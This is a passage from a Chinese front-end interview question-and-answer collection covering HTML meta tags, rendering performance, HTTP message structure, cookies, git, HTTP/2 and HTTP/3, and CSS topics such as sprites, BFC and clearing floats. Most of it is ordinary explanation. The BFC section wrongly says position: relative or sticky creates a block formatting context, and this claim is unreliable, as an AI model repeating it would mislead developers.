  var circle = document.getElementById("circle");
  var circleRect = circle.getBoundingClientRect();
  var circleCenterX = circleRect.left + circleRect.width / 2;
  var circleCenterY = circleRect.top + circleRect.height / 2;
  var clickX = event.clientX;
  var clickY = event.clientY;
  var distance = Math.sqrt(
    Math.pow(clickX - circleCenterX, 2) + Math.pow(clickY - circleCenterY, 2)
  );
  if (distance <= circleRect.width / 2) {
    // 点击在圆形区域内
    // 执行相应操作
  }
}

# 22 网页验证码是干嘛的,是为了解决什么安全问题

网页验证码(CAPTCHA)的作用是用于区分用户是计算机还是人的公共全自动程序。它主要解决以下安全问题:

  1. 防止恶意破解:通过要求用户输入验证码,可以防止恶意用户使用自动化程序(如暴力破解工具)对密码、账号进行不断的尝试,提高系统的安全性。
  2. 防止刷票和论坛灌水:验证码可以阻止自动化程序大规模注册账号、刷票或在论坛上进行大量无意义的发帖,保护网站资源免受滥用。

通过要求用户正确地输入验证码,可以验证用户的身份,确保其为真实的人类用户,而不是自动化程序或恶意攻击者。验证码通常会显示一张包含随机字符、数字或图形的图片,用户需要根据图片中的内容进行识别并输入正确的答案。

这样,网页验证码有效地提高了网站和应用程序的安全性,防止了各种恶意行为的发生。

# 23 viewport

 <meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" />
  // width    设置viewport宽度,为一个正整数,或字符串‘device-width’
  // device-width  设备宽度
  // height   设置viewport高度,一般设置了宽度,会自动解析出高度,可以不用设置
  // initial-scale    默认缩放比例(初始缩放比例),为一个数字,可以带小数
  // minimum-scale    允许用户最小缩放比例,为一个数字,可以带小数
  // maximum-scale    允许用户最大缩放比例,为一个数字,可以带小数
  // user-scalable    是否允许手动缩放
  • 延伸提问
    • 怎样处理 移动端 1px 被 渲染成 2px问题?

局部处理

  • meta标签中的 viewport属性 ,initial-scale 设置为 1
  • rem按照设计稿标准走,外加利用transformscale(0.5) 缩小一倍即可;

全局处理

  • mata标签中的 viewport属性 ,initial-scale 设置为 0.5
  • rem 按照设计稿标准走即可

# 24 渲染优化

  • 禁止使用iframe(阻塞父文档onload事件)
    • iframe会阻塞主页面的Onload事件
    • 搜索引擎的检索程序无法解读这种页面,不利于SEO
    • iframe和主页面共享连接池,而浏览器对相同域的连接有限制,所以会影响页面的并行加载
    • 使用iframe之前需要考虑这两个缺点。如果需要使用iframe,最好是通过javascript
    • 动态给iframe添加src属性值,这样可以绕开以上两个问题
  • 禁止使用gif图片实现loading效果(降低CPU消耗,提升渲染性能)
  • 使用CSS3代码代替JS动画(尽可能避免重绘重排以及回流)
  • 对于一些小图标,可以使用base64位编码,以减少网络请求。但不建议大图使用,比较耗费CPU
    • 小图标优势在于
      • 减少HTTP请求
      • 避免文件跨域
      • 修改及时生效
  • 页面头部的<style></style> <script></script> 会阻塞页面;(因为 Renderer进程中 JS线程和渲染线程是互斥的)
  • 页面中空的 hrefsrc 会阻塞页面其他资源的加载 (阻塞下载进程)
  • 网页gzipCDN托管,data缓存 ,图片服务器
  • 前端模板 JS+数据,减少由于HTML标签导致的带宽浪费,前端用变量保存AJAX请求结果,每次操作本地变量,不用请求,减少请求次数
  • innerHTML代替DOM操作,减少DOM操作次数,优化javascript性能
  • 当需要设置的样式很多时设置className而不是直接操作style
  • 少用全局变量、缓存DOM节点查找的结果。减少IO读取操作
  • 图片预加载,将样式表放在顶部,将脚本放在底部 加上时间戳
  • 对普通的网站有一个统一的思路,就是尽量向前端优化、减少数据库操作、减少磁盘IO

# 25 meta viewport相关

<!DOCTYPE html>  <!--H5标准声明,使用 HTML5 doctype,不区分大小写-->
<head lang=”en”> <!--标准的 lang 属性写法-->
<meta charset=’utf-8′>    <!--声明文档使用的字符编码-->
<meta http-equiv=”X-UA-Compatible” content=”IE=edge,chrome=1″/>   <!--优先使用 IE 最新版本和 Chrome-->
<meta name=”description” content=”不超过150个字符”/>       <!--页面描述-->
<meta name=”keywords” content=””/>     <!-- 页面关键词-->
<meta name=”author” content=”name, email@gmail.com”/>    <!--网页作者-->
<meta name=”robots” content=”index,follow”/>      <!--搜索引擎抓取-->
<meta name=”viewport” content=”initial-scale=1, maximum-scale=3, minimum-scale=1, user-scalable=no”> <!--为移动设备添加 viewport-->
<meta name=”apple-mobile-web-app-title” content=”标题”> <!--iOS 设备 begin-->
<meta name=”apple-mobile-web-app-capable” content=”yes”/>  <!--添加到主屏后的标题(iOS 6 新增)
是否启用 WebApp 全屏模式,删除苹果默认的工具栏和菜单栏-->
<meta name=”apple-itunes-app” content=”app-id=myAppStoreID, affiliate-data=myAffiliateData, app-argument=myURL”>
<!--添加智能 App 广告条 Smart App Banner(iOS 6+ Safari)-->
<meta name=”apple-mobile-web-app-status-bar-style” content=”black”/>
<meta name=”format-detection” content=”telphone=no, email=no”/>  <!--设置苹果工具栏颜色-->
<meta name=”renderer” content=”webkit”> <!-- 启用360浏览器的极速模式(webkit)-->
<meta http-equiv=”X-UA-Compatible” content=”IE=edge”>     <!--避免IE使用兼容模式-->
<meta http-equiv=”Cache-Control” content=”no-siteapp” />    <!--不让百度转码-->
<meta name=”HandheldFriendly” content=”true”>     <!--针对手持设备优化,主要是针对一些老的不识别viewport的浏览器,比如黑莓-->
<meta name=”MobileOptimized” content=”320″>   <!--微软的老式浏览器-->
<meta name=”screen-orientation” content=”portrait”>   <!--uc强制竖屏-->
<meta name=”x5-orientation” content=”portrait”>    <!--QQ强制竖屏-->
<meta name=”full-screen” content=”yes”>              <!--UC强制全屏-->
<meta name=”x5-fullscreen” content=”true”>       <!--QQ强制全屏-->
<meta name=”browsermode” content=”application”>   <!--UC应用模式-->
<meta name=”x5-page-mode” content=”app”>   <!-- QQ应用模式-->
<meta name=”msapplication-tap-highlight” content=”no”>    <!--windows phone 点击无高亮
设置页面不缓存-->
<meta http-equiv=”pragma” content=”no-cache”>
<meta http-equiv=”cache-control” content=”no-cache”>
<meta http-equiv=”expires” content=”0″>

# 26 你做的页面在哪些流览器测试过?这些浏览器的内核分别是什么?

  • IE 使用的是 Trident 内核。
  • Firefox 使用的是 Gecko 内核。
  • Safari 使用的是 WebKit 内核。
  • Opera 在过去使用的是 Presto 内核,但现在已经改用了与 Google Chrome 相同的 Blink 内核。
  • Chrome 使用的是基于 WebKit 开发的 Blink 内核。

这些浏览器内核的不同决定了它们在渲染网页时的行为和特性支持。在开发和测试网页时,通常需要在不同的浏览器上进行测试,以确保网页在不同内核的浏览器上都能正确显示和运行。

# 27 div+css的布局较table布局有什么优点?

  • 改版的时候更方便 只要改css文件。
  • 页面加载速度更快、结构化清晰、页面显示简洁。
  • 表现与结构相分离。
  • 易于优化(seo)搜索引擎更友好,排名更容易靠前。

# 28 a:img的alt与title有何异同?b:strong与em的异同?

  • alt(alt text): 用于为不能显示图像、窗体或applets的用户代理(UA)提供替代文字。它由lang属性指定替代文字的语言。在某些浏览器中,当没有title属性时,会将alt属性作为工具提示(tooltip)显示。
  • title(tool tip): 用于为元素提供额外的提示信息,当鼠标悬停在元素上时显示。它提供了一种向用户解释元素用途或提供有关元素的补充信息的方式。

b:strong与em的异同?

  • strong: 是表示文本的重要性或紧急性的标签,通常呈现为加粗的文本样式。它用于强调内容的重要性,可以为内容赋予更大的权重。
  • em: 是表示文本的强调或重要性的标签,通常呈现为斜体的文本样式。它用于更强烈地强调内容,使其在阅读时更具有突出性,但并不改变内容的含义。

注意:strongem都是语义化标签,用于表示文本的语义和重要性,而不仅仅是样式上的改变。

# 29 你能描述一下渐进增强和优雅降级之间的不同吗

  • 渐进增强:针对低版本浏览器进行构建页面,保证最基本的功能,然后再针对高级浏览器进行效果、交互等改进和追加功能达到更好的用户体验。
  • 优雅降级:一开始就构建完整的功能,然后再针对低版本浏览器进行兼容。

区别:优雅降级是从复杂的现状开始,并试图减少用户体验的供给,而渐进增强则是从一个非常基础的,能够起作用的版本开始,并不断扩充,以适应未来环境的需要。降级(功能衰减)意味着往回看;而渐进增强则意味着朝前看,同时保证其根基处于安全地带

# 30 为什么利用多个域名来存储网站资源会更有效?

利用多个域名来存储网站资源可以带来以下好处:

  • CDN缓存更方便:内容分发网络(CDN)可以更轻松地缓存和分发位于不同域名下的资源,提高资源的访问速度和可用性。
  • 突破浏览器并发限制:大多数浏览器对同一域名下的并发请求数量有限制,通过将资源分布在多个域名下,可以突破这一限制,同时发送更多的并发请求,加快页面加载速度。
  • 节约cookie带宽:浏览器在每个请求中都会携带相应域名下的cookie信息,通过将资源分布在不同的域名下,可以减少对cookie的传输,节约带宽和提高性能。
  • 节约主域名的连接数:浏览器对同一域名下的连接数也有限制,通过将资源请求分散到多个域名下,可以减少对主域名的连接数占用,提高页面的响应速度和并发处理能力。
  • 防止不必要的安全问题:将静态资源与主要网站内容分离到不同的域名下,可以降低恶意攻击者利用资源加载过程中的安全漏洞对主站点进行攻击的风险。

综上所述,通过利用多个域名来存储网站资源,可以提升网站的性能、安全性和用户体验。

# 31 简述一下src与href的区别

srchref是HTML中两个常见的属性,它们有以下区别:

  • src属性(source)用于指定要嵌入到当前文档中的外部资源的位置。例如,<script src="script.js"></script>用于引入一个外部的JavaScript文件,或者<img src="image.jpg" alt="Image">用于显示一个外部的图像文件。浏览器在解析到带有src属性的元素时,会暂停当前文档的加载和解析,去下载并执行或显示指定的资源。
  • href属性(hypertext reference)用于建立当前文档和引用资源之间的关联。它通常用于链接到其他文档或外部资源,例如<a href="https://www.example.com">Link</a>用于创建一个指向外部网页的链接,或者<link href="styles.css" rel="stylesheet">用于引入外部的CSS样式表。浏览器在解析到带有href属性的元素时,会同时进行当前文档和引用资源的加载和处理,而不会阻塞当前文档的解析。

总结来说:

  • src用于替换当前元素,指向的资源会嵌入到文档中,例如脚本、图像、框架等。
  • href用于建立文档与引用资源之间的链接,例如链接到其他文档或引入外部样式表。

注意:尽管它们的用途不同,但在实际使用时,需要根据元素的类型和需求正确地选择使用srchref属性。

# 32 知道的网页制作会用到的图片格式有哪些?

在网页制作中,常用的图片格式包括:

  • JPEG(Joint Photographic Experts Group):适用于存储照片和复杂的图像,具有较高的压缩比,但会有一定的图像质量损失。
  • PNG(Portable Network Graphics):适用于图标、透明背景的图像以及需要保留较高图像质量的场景。可以选择使用PNG-8PNG-24,前者支持最多256种颜色,后者支持更多颜色但文件体积更大。
  • GIF(Graphics Interchange Format):适用于简单动画和图标,支持透明背景和基本的透明度。
  • SVG(Scalable Vector Graphics):矢量图形格式,使用XML描述图形,具有无损缩放和可编辑性。

除了上述常见的图片格式,还有一些新兴的图片格式:

  • WebP:由Google开发的一种旨在提高图片加载速度的格式,具有较高的压缩率和图像质量,逐渐被主流浏览器支持。
  • APNG(Animated Portable Network Graphics):是PNG的位图动画扩展,支持帧动画效果,但浏览器兼容性较差。

请注意,选择合适的图片格式应根据具体需求,如图像内容、透明度要求、动画效果等。新的图片格式如WebP和APNG可以根据项目需求和兼容性考虑是否使用。

# 33 在CSS/JS代码上线之后,开发人员经常会优化性能。从用户刷新网页开始,一次JS请求一般情况下有哪些地方会有缓存处理?

在进行JS请求时,可以在以下几个地方进行缓存处理,以提高性能和减少资源加载时间:

  1. DNS缓存:浏览器会缓存已解析的域名和对应的IP地址,这样在下次请求同一域名时可以直接使用缓存的IP地址,避免重新进行DNS解析。
  2. CDN缓存:如果使用了内容分发网络(CDN),CDN会缓存静态资源文件,如CSS和JS文件,以便快速地分发给用户。当用户再次请求同一资源时,可以从CDN缓存中获取,减少向源服务器的请求次数。
  3. 浏览器缓存:浏览器会缓存已请求的静态资源文件,如CSS和JS文件。可以通过设置HTTP响应头中的Cache-ControlExpires字段来控制浏览器缓存的行为。如果设置了适当的缓存策略,浏览器在下次请求同一资源时可以直接从本地缓存中获取,而不需要再次向服务器请求。
  4. 服务器缓存:服务器可以对动态生成的JS文件进行缓存,以避免重复生成相同的响应。服务器可以通过设置响应头中的Cache-ControlExpires字段,或者使用缓存代理服务器来进行缓存处理。

需要注意的是,缓存的有效期限和缓存策略的设置需要根据具体的需求和业务场景来确定。合理地利用缓存可以显著提高网页加载速度和用户体验。

# 33 一个页面上有大量的图片(大型电商网站),加载很慢,你有哪些方法优化这些图片的加载,给用户更好的体验。

  • 使用图像压缩技术:通过使用图像压缩工具,如PhotoShop、TinyPNG等,将图片文件的大小减小,以减少加载时间。
  • 使用适当的图像格式:根据图像的特性选择合适的图像格式,如JPEG、PNG、WebP等。JPEG适用于照片和复杂图像,而PNG适用于简单的图标和透明图像。WebP是一种现代的图像格式,可以在保持良好质量的同时减小文件大小。
  • 图片CDN加速:使用内容分发网络(CDN)来加速图片的传输,将图片文件缓存到离用户更近的服务器,减少传输时间。
  • 图片延迟加载:采用图片懒加载技术,将页面上不可见区域的图片暂时不加载,当用户滚动页面至可见区域时再进行加载,以减少初始加载时间。
  • 使用CSS精灵图:将多个小图标或背景图片合并为一张大图,并利用CSS的background-position来定位显示需要的部分,减少HTTP请求的数量。
  • 使用矢量图形:使用矢量图形(如SVG)代替位图,以减小文件大小并保持清晰度,适用于简单的图形和图标。
  • 响应式图片:针对不同的设备和屏幕尺寸提供适当大小的图片,以避免在小屏幕设备上加载过大的图片。
  • 图片懒加载、预加载:根据用户的浏览行为,提前加载下一页或下一组图片,以提高用户体验和流畅度。
  • 图片缓存:设置适当的缓存策略,让浏览器在首次加载后对图片进行缓存,减少重复加载的次数。

综合应用这些优化技术可以减小图片的加载大小和加载时间,提升网页的加载速度,给用户更好的体验。

# 34 常见排序算法的时间复杂度,空间复杂度

下面是一些常见的排序算法及其时间复杂度和空间复杂度的概述:

  1. 冒泡排序(Bubble Sort):
  • 时间复杂度:最好情况下O(n),平均和最坏情况下O(n^2)
  • 空间复杂度:O(1)
  1. 插入排序(Insertion Sort):
  • 时间复杂度:最好情况下O(n),平均和最坏情况下O(n^2)
  • 空间复杂度:O(1)
  1. 选择排序(Selection Sort):
  • 时间复杂度:最好情况下O(n^2),平均和最坏情况下O(n^2)
  • 空间复杂度:O(1)
  1. 快速排序(Quick Sort):
  • 时间复杂度:最好情况下O(nlogn),平均情况下O(nlogn),最坏情况下O(n^2)
  • 空间复杂度:最好情况下O(logn),平均和最坏情况下O(n)
  1. 归并排序(Merge Sort):
  • 时间复杂度:最好情况下O(nlogn),平均情况下O(nlogn),最坏情况下O(nlogn)
  • 空间复杂度:O(n)
  1. 堆排序(Heap Sort):
  • 时间复杂度:最好情况下O(nlogn),平均情况下O(nlogn),最坏情况下O(nlogn)
  • 空间复杂度:O(1)
  1. 希尔排序(Shell Sort):
  • 时间复杂度:取决于所选的间隔序列,最好情况下O(nlogn),平均和最坏情况下根据间隔序列的选择而不同
  • 空间复杂度:O(1)
  1. 计数排序(Counting Sort):
  • 时间复杂度:最好情况下O(n+k),平均和最坏情况下O(n+k)
  • 空间复杂度:O(k),其中 k 是计数范围
  1. 桶排序(Bucket Sort):
  • 时间复杂度:最好情况下O(n+k),平均和最坏情况下根据桶的数量和排序算法的选择而不同
  • 空间复杂度:O(n+k)
  1. 基数排序(Radix Sort):
  • 时间复杂度:最好情况下O(nk),平均和最坏情况下O(nk)
  • 空间复杂度:O(n+k)

# 35 web开发中会话跟踪的方法有哪些

  • Cookie: 使用Cookie是最常见的会话跟踪方法之一。服务器在响应中设置一个包含会话ID的Cookie,然后在后续的请求中,浏览器会自动将该Cookie发送回服务器,以标识用户的会话。
  • Session: 服务器使用会话来跟踪用户的状态。每个会话都会分配一个唯一的会话ID,该ID通常存储在Cookie中或通过URL重写传递给服务器。服务器使用会话ID来关联用户的请求,并在服务器端存储会话数据。
  • URL重写: 将会话ID作为查询参数添加到URL中,以便在每个请求中传递会话信息。这种方法不需要依赖Cookie,适用于禁用Cookie的情况,但会增加URL的长度并暴露会话信息。
  • 隐藏input: 在表单中添加一个隐藏的input字段,将会话ID作为其值传递给服务器。服务器接收到请求时可以通过解析请求参数获取会话ID,以进行会话跟踪。
  • IP地址: 使用客户端的IP地址作为会话跟踪的依据。服务器根据不同的IP地址来区分不同的用户,并跟踪他们的会话状态。然而,由于多个用户可能共享相同的IP地址(如在同一局域网内),这种方法可能不准确。

这些方法可以单独或结合使用,根据实际需求和安全考虑选择适当的会话跟踪方法。

# 36 HTTP request报文结构是怎样的

  1. 首行是Request-Line包括:请求方法请求URI协议版本CRLF
  2. 首行之后是若干行请求头,包括general-headerrequest-header或者entity-header,每个一行以CRLF结束
  3. 请求头和消息实体之间有一个CRLF分隔
  4. 根据实际请求需要可能包含一个消息实体 一个请求报文例子如下:
GET /Protocols/rfc2616/rfc2616-sec5.html HTTP/1.1
Host: www.w3.org
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Referer: https://www.google.com.hk/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: authorstyle=yes
If-None-Match: "2cc8-3e3073913b100"
If-Modified-Since: Wed, 01 Sep 2004 13:24:52 GMT

name=qiu&age=25

# 37 HTTP response报文结构是怎样的

  • 首行是状态行包括:HTTP版本,状态码,状态描述,后面跟一个CRLF
  • 首行之后是若干行响应头,包括:通用头部,响应头部,实体头部
  • 响应头部和响应实体之间用一个CRLF空行分隔
  • 最后是一个可能的消息实体

响应报文例子如下:

HTTP/1.1 200 OK
Date: Tue, 08 Jul 2014 05:28:43 GMT
Server: Apache/2
Last-Modified: Wed, 01 Sep 2004 13:24:52 GMT
ETag: "40d7-3e3073913b100"
Accept-Ranges: bytes
Content-Length: 16599
Cache-Control: max-age=21600
Expires: Tue, 08 Jul 2014 11:28:43 GMT
P3P: policyref="http://www.w3.org/2001/05/P3P/p3p.xml"
Content-Type: text/html; charset=iso-8859-1

{"name": "qiu", "age": 25}

# 38 title与h1的区别、b与strong的区别、i与em的区别

  • title属性用于提供元素的额外信息,通常以工具提示的形式显示。它没有语义化的意义,仅表示一个标题或描述性文本。它在SEO中没有直接影响,但可以提供更好的用户体验和辅助工具提示。
  • <h1>是HTML中的标题元素,用于表示页面的主标题。它具有层次结构,表示文档的结构和内容。搜索引擎通常会将<h1>标签中的文本作为页面的主要标题,并根据其重要性进行权重分配。
  • <b>是用于粗体显示文本的HTML元素,仅仅表示展示的效果,没有语义上的强调意义。在使用屏幕阅读器等辅助工具阅读网页时,<b>不会改变读取方式,仅仅呈现粗体效果。
  • <strong>是表示文本的强调元素,具有语义化的含义,用于强调重要内容。在屏幕阅读器等辅助工具中,会以更加强调的方式读取<strong>标签中的文本,传达给用户更强的语气。
  • <i>用于将文本显示为斜体,仅表示展示的效果,没有语义上的强调意义。
  • <em>表示强调的文本,具有语义化的含义,用于强调某些内容。在屏幕阅读器等辅助工具中,会以更加强调的方式读取<em>标签中的文本,传达给用户更强的强调效果。

总结:

  • <title><h1>在语义化和SEO方面有区别,一个用于页面标题,一个用于内容标题。
  • <b><strong>都可以用于加粗文本,但<strong>具有语义化的强调效果。
  • <i><em>都可以用于斜体文本,但<em>具有语义化的强调效果。

# 39 请你谈谈Cookie的弊端

cookie虽然在存储客户端数据方面提供了方便,并减轻了服务器的负担,但它也存在一些弊端和限制,包括:

  • 数量限制:每个特定域名下的cookie数量有限。例如,旧版的IE6最多允许20个cookie,而IE7及更高版本允许50个cookie,其他浏览器也有类似的限制。
  • 大小限制:每个cookie的大小也有限制,通常为约4096字节(不同浏览器可能有差异),为了兼容性,一般建议将cookie大小控制在4095字节以内。
  • 清理策略:一些浏览器会根据策略清理过期或不常使用的cookie,这可能会导致某些数据丢失或需要重新设置。
  • 安全性问题cookie存储在客户端,如果被恶意拦截,攻击者可以获取其中的数据,包括session信息,可能导致安全隐患。
  • 跨域限制cookie在同源策略下工作,无法跨域访问。每个域名下的cookie只能被同域名的页面访问和修改。
  • 对网络性能的影响cookie会增加每个请求的数据量,从而增加了网络传输的开销,尤其在请求大量静态资源的网页时,会对加载速度产生一定的影响。

要解决这些问题,可以使用其他存储方式,如localStoragesessionStorage,使用服务器端存储来替代部分或全部cookie,或者通过其他技术手段来优化和管理cookie的使用。

# 40 git fetch和git pull的区别

  • git pull:执行git pull命令时,Git会自动从远程仓库下载最新的提交并将其合并到当前分支。它是git fetchgit merge两个操作的组合。它会自动将远程仓库的更新合并到当前分支,并自动解决可能的冲突。一般情况下,使用git pull可以快速获取远程最新代码并合并到本地分支。
  • git fetch:执行git fetch命令时,Git会从远程仓库下载最新的提交,但不会自动将其合并到当前分支。它只是将远程仓库的最新代码下载到本地,并更新本地仓库中远程分支的指针位置。这样,你可以在本地查看远程仓库的更新情况,进行代码比较或其他操作。但它不会修改你当前所在的分支。

总结:git pull是直接从远程仓库获取最新代码并合并到当前分支,而git fetch只是获取最新代码到本地,并不会自动合并。使用git pull可以更方便地获取最新代码并更新本地分支,而git fetch适合查看远程仓库的更新情况,进行代码比较或其他操作。

# 41 http2.0 做了哪些改进 http3.0 呢

HTTP/2 的特性包括:

  1. 二进制分帧传输:将请求和响应消息分割为多个二进制帧,可以并发地发送和处理,提高传输效率。
  2. 多路复用:在单个连接上可以同时发送多个请求和响应,避免了建立多个 TCP 连接的开销,提高并发性能。
  3. 头部压缩:使用 HPACK 算法对请求和响应的头部进行压缩,减少数据传输量,提高性能。
  4. 服务器推送:服务器可以主动推送与当前页面相关的资源,减少客户端的请求延迟。

而 HTTP/3 则是基于 QUIC 协议的新一代 HTTP 协议。QUIC 是一个基于 UDP 的传输协议,具有以下特性:

  1. 连接迁移:支持在网络切换或设备漫游时无缝迁移连接,避免连接中断。
  2. 无队头阻塞:解决了 TCP 协议中的队头阻塞问题,可以同时发送多个请求和响应,提高并发性能。
  3. 自定义拥塞控制:使用独立的拥塞控制算法,适应不同网络条件下的流量控制和拥塞控制。
  4. 前向安全和前向纠错:支持端到端的加密和纠错机制,提高数据传输的安全性和可靠性。

总结HTTP/2HTTP/3 都是在传输层进行的协议改进,HTTP/2TCP 上引入了二进制分帧传输、多路复用、头部压缩和服务器推送等特性,而 HTTP/3 则是基于 UDPQUIC 协议,引入了连接迁移、无队头阻塞、自定义拥塞控制和前向安全和前向纠错等新特性。

# 二、CSS相关

# 1 css sprite是什么,有什么优缺点

CSS Sprite(CSS精灵)是一种将多个小图片合并到一张大图中的技术。通过在页面中引用这张大图,并设置合适的background-position和尺寸,可以显示出所需的小图标或背景图案。

优点:

  • 减少HTTP请求数:将多个小图片合并成一张大图,减少了浏览器与服务器之间的请求次数,提高了页面加载速度。
  • 提高性能:由于减少了请求数,减少了网络传输时间和延迟,加快了页面加载速度,提升了用户体验。
  • 减小图片大小:合并后的大图可以使用更高效的压缩算法进行压缩,减小了图片的文件大小。
  • 方便更换风格:只需要替换或修改一张大图中的小图标或背景图案,就可以改变整个页面的样式,维护和更换风格更加方便。

缺点:

  • 图片合并麻烦:合并图片需要手动调整和拼接小图标或背景图案,需要一定的工作量。
  • 维护麻烦:如果需要修改其中一个小图标或背景图案,可能需要重新布局整个大图,并且需要更新相应的CSS样式。

总结:CSS Sprite通过将多个小图片合并成一张大图,减少了HTTP请求,提高了页面加载速度和性能。它的优点包括减少请求数、提高性能、减小图片大小和方便更换风格。然而,它的缺点在于图片合并和维护的麻烦。

# 2 display: none;visibility: hidden;的区别

display: none;visibility: hidden;都可以使元素不可见,但它们在实现上有一些区别。

区别:

  • display: none;会使元素完全从渲染树中消失,不占据任何空间,而visibility: hidden;不会使元素从渲染树中消失,仍然占据空间,只是内容不可见。
  • display: none;是非继承属性,子孙节点消失是因为元素本身从渲染树中消失,修改子孙节点的属性无法使其显示。而visibility: hidden;是继承属性,子孙节点消失是因为继承了hidden属性,通过设置visibility: visible;可以使子孙节点显示。
  • 修改具有常规流的元素的display属性通常会导致文档重排(重新计算元素的位置和大小)。而修改visibility属性只会导致本元素的重绘(重新绘制元素的可见部分)。
  • 读屏器(屏幕阅读软件)不会读取display: none;元素的内容,但会读取visibility: hidden;元素的内容。

综上所述,display: none;visibility: hidden;虽然都可以使元素不可见,但在元素在渲染树中的位置、对子孙节点的影响、性能方面有所不同。选择使用哪种方式取决于具体的需求和场景。

# 3 link@import的区别

  1. <link>是HTML方式,@import是CSS方式。<link>标签在HTML文档的<head>部分中使用,用于引入外部CSS文件;@import是在CSS文件中使用,用于引入其他CSS文件。
  2. <link>标签最大限度地支持并行下载,浏览器会同时下载多个外部CSS文件;而@import引入的CSS文件会导致串行下载,浏览器会按照顺序逐个下载CSS文件,这可能导致页面加载速度变慢,出现FOUC(Flash of Unstyled Content)问题。
  3. <link>标签可以通过rel="alternate stylesheet"指定候选样式表,用户可以在浏览器中切换样式;而@import不支持rel属性,无法提供候选样式表功能。
  4. 浏览器对<link>标签的支持早于@import,一些古老的浏览器可能不支持@import方式引入CSS文件,而可以正确解析<link>标签。
  5. @import必须出现在样式规则之前,而且只能在CSS文件的顶部引用其他文件;而<link>标签可以放置在文档的任何位置。
  6. 总体来说,<link>标签在性能、兼容性和灵活性方面优于@import

因此,在实际使用中,推荐使用<link>标签来引入外部CSS文件。

# 4 什么是FOUC?如何避免

FOUC(Flash Of Unstyled Content)指的是在页面加载过程中,由于外部样式表(CSS)加载较慢或延迟,导致页面先以无样式的方式显示,然后突然闪烁出样式的现象。

为了避免FOUC,可以采取以下方法:

  1. 将样式表放置在文档的<head>标签中:通过将样式表放在文档头部,确保浏览器在渲染页面内容之前先加载和解析样式表,从而避免了页面一开始的无样式状态。
  2. 使用内联样式:将关键的样式直接写在HTML标签的style属性中,这样即使外部样式表加载延迟,页面仍然可以有基本的样式展示,避免出现完全无样式的情况。
  3. 使用样式预加载:在HTML的<head>中使用<link rel="preload">标签,将样式表提前预加载,以确保在页面渲染之前样式表已经下载完毕。
  4. 避免过多的样式表和样式文件:减少页面中使用的样式表数量和样式文件大小,优化样式表的结构和规则,从而加快样式表的加载速度。
  5. 使用媒体查询避免不必要的样式加载:通过媒体查询(@media)在适当的条件下加载特定的样式,避免在不需要的情况下加载不必要的样式。

综上所述,通过优化样式加载顺序、使用内联样式、样式预加载和合理使用媒体查询等方法,可以有效避免FOUC的出现,提供更好的用户体验。

# 5 如何创建块级格式化上下文(block formatting context),BFC有什么用

BFC(Block Formatting Context),块级格式化上下文,是一个独立的渲染区域,让处于 BFC 内部的元素与外部的元素相互隔离,使内外元素的定位不会相互影响

要创建一个块级格式化上下文(BFC),可以应用以下方法:

  1. 使用float属性:将元素的float属性设置为除none以外的值,可以创建一个BFC。
  2. 使用overflow属性:将元素的overflow属性设置为除visible以外的值,例如autohidden,可以创建一个BFC。
  3. 使用display属性:将元素的display属性设置为inline-blocktable-celltable-caption等特定的值,可以创建一个BFC。
  4. 使用position属性:将元素的position属性设置为absolutefixedrelativesticky,可以创建一个BFC。
  5. 使用contain属性:将元素的contain属性设置为layout,可以创建一个BFC(仅适用于部分浏览器)。

IE下, Layout,可通过zoom:1 触发

BFC布局与普通文档流布局区别 普通文档流布局:

  • 浮动的元素是不会被父级计算高度
  • 非浮动元素会覆盖浮动元素的位置
  • margin会传递给父级元素
  • 两个相邻元素上下的margin会重叠

BFC布局规则:

  • 浮动的元素会被父级计算高度(父级元素触发了BFC)
  • 非浮动元素不会覆盖浮动元素的位置(非浮动元素触发了BFC)
  • margin不会传递给父级(父级触发BFC)
  • 属于同一个BFC的两个相邻元素上下margin会重叠

开发中的应用

  • 阻止margin重叠
  • 可以包含浮动元素 —— 清除内部浮动(清除浮动的原理是两个 div都位于同一个 BFC 区域之中)
  • 自适应两栏布局
  • 可以阻止元素被浮动元素覆盖

# 6 display、float、position的关系

  • 如果display取值为none,那么positionfloat都不起作用,这种情况下元素不产生框
  • 否则,如果position取值为absolute或者fixed,框就是绝对定位的,float的计算值为nonedisplay根据下面的表格进行调整。
  • 否则,如果float不是none,框是浮动的,display根据下表进行调整
  • 否则,如果元素是根元素,display根据下表进行调整
  • 其他情况下display的值为指定值
  • 总结起来:绝对定位、浮动、根元素都需要调整display

综上所述,display、float和position之间存在一定的关系,它们的取值会相互影响元素的布局和显示方式。根据不同的取值组合,元素的display值可能会被调整。

# 7 清除浮动的几种方式,各自的优缺点

以下是清除浮动的几种常见方式以及它们的优缺点:

  1. 父级 div 定义 height 将父级容器的高度设置为已浮动元素的高度。优点是简单易实现,缺点是需要提前知道浮动元素的高度,如果高度发生变化,需要手动调整。
  2. 结尾处加空 div 标签 clear:both 在浮动元素后面添加一个空的 div 标签,并设置 clear:both。优点是简单易实现,缺点是需要添加多余的空标签,不符合语义化。
  3. 父级 div 定义伪类 :afterzoom 父级容器使用伪元素 :after 清除浮动,并设置 zoom:1 触发 hasLayout。优点是不需要额外添加多余的标签,清除浮动效果好,缺点是对老版本浏览器的兼容性需要考虑。
  4. 父级 div 定义 overflow:hidden 将父级容器的 overflow 属性设置为 hidden。优点是简单易实现,不需要添加额外的标签,缺点是可能会造成内容溢出隐藏。
  5. 父级 div 也浮动,需要定义宽度: 将父级容器也设置为浮动,并定义宽度。优点是清除浮动效果好,缺点是需要定义宽度,不够灵活。
  6. 结尾处加 br 标签 clear:both 在浮动元素后面添加 br 标签,并设置 clear:both。和第2种方式类似,优缺点也相似。
  7. 使用 clearfix 类: 在父级容器上应用 clearfix 类,该类包含伪元素清除浮动。优点是代码简洁易懂,不需要额外添加标签,缺点是需要定义并引用 clearfix 类。

总体而言,使用伪类 :afterzoom 的方式是较为常见和推荐的清除浮动的方法,它可以避免添加多余的标签,并具有较好的兼容性。然而,不同场景下适合使用不同的清除浮动方式,需要根据实际情况选择合适的方法。

# 8 为什么要初始化CSS样式?

初始化 CSS 样式的目的主要有以下几点:

